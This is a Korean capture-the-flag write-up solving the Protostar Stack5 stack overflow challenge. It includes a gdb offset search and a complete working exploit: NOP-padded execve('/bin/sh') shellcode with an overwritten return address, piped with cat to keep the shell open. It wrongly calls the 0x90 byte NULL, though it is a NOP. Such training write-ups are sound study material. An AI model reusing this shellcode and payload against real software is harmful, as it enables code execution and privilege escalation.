[Protostar] Stack5
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
이 문제는 쉘코드를 삽입하고 ret를 쉘코드가 있는 위치로 변조하여 해결하는 문제이다.
코드를 보면, buffer는 64bytes이지만, gets함수에서 길이값 검증을 하지 않기 때문에 여기서 buffer overflow가 발생한다.
gdb로 stack5 파일을 확인하면, 매우 간단하다.
sub esp, 0x50이고
gets함수가 실행되기 전 인자값 buffer가 esp+0x10에 들어 있다.
그래서 스택 구조를 그리면 아래와 같다.
우선, buffer와 sfp 사이의 dummy값의 길이를 확인하기 위해서
gdb에서 ret에 breakpoint를 잡고 나서,
입력값으로 A 64개 BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII를 주었다.
break *main+22
r
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
그러고 나서 레지스터 값을 확인해 보았다.
그러면 dummy로 8bytes가 있다는 것을 알 수 있다.
buffer에 넣을 페이로드를 구성해 보면
76bytes에 쉘코드를 넣고 쉘코드가 있는 주소를 ret에 넣으면 된다.
쉘코드 앞뒤로 0x90(NULL)값을 넣어서 구성하면 다음과 같다.
\x90 * 16
쉘코드 ( \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 )
\x90* 36
쉘코드 주소
(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\xbf\xbf\xbf\xbf") > /tmp/payload
* ret 값에는 임의의 값을 넣었다.
👉 payload파일을 하나 만든 다음에 gdb로 stack5를 실행한다.
그 이후 ret에 breakpoint를 걸고,
r < /tmp/payload 로 인자값을 준 다음에 $esp를 확인하면 값이 제대로 들어간 것이 확인되고 쉘코드가 시작하기 전인 x90이 시작하는 주소가 0xbffff720이다.
이제 구한 값을 넣어서 다시 페이로드를 구성하면,
(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\x20\xf7\xff\xbf"') | ./stack5
지금 실행하면 core 값을 확인인 할 수 없기 때문에
$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
# cat /proc/sys/fs/suid_dumpable
0
# echo "1" > /proc/sys/fs/suid_dumpable
# cat /proc/sys/fs/suid_dumpable
1
$ ulimit -c unlimited
로 설정한다.
그러고 나서, /tmp 폴더로 들어가서
root로 core 파일을 확인하면, 약간 메모리 주소가 바뀐 것이 확인된다.
그러고 나서 실행을 하면, 오류는 나지 않는데 쉘이 실행되지 않는다.
그래서 여기서 삽질을 했는데... 구글링을 통해 해결방법을 찾았다.
외국분이 write-up 작성한 것 내용인데 엄청 자세하다 . thx a lot
주소 : https://noobfrompitt.github.io/protostar-stack5/
쉘 실행이 안 되는 이유가 /bin/sh가 실행되었지만 stack5 실행이 완료 돼버리기 때문에 파이프가 닫히고 bash에 입력을 줄 수 없기 때문이다.
👉 python 프로그램과 함께 cat을 실행하면 문제가 해결된다!!!
👉 아무런 입력 없이 cat을 사용하면 프롬프트에 입력된 모든 내용이 인쇄됩니다. stack5와 함께 cat이 실행할 수 있으면 stdin을 항상 이용할 수 있다고 한다.
📌 최종 페이로드
(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\x40\xf7\xff\xbf"';cat) | ./stack5
📌 실행결과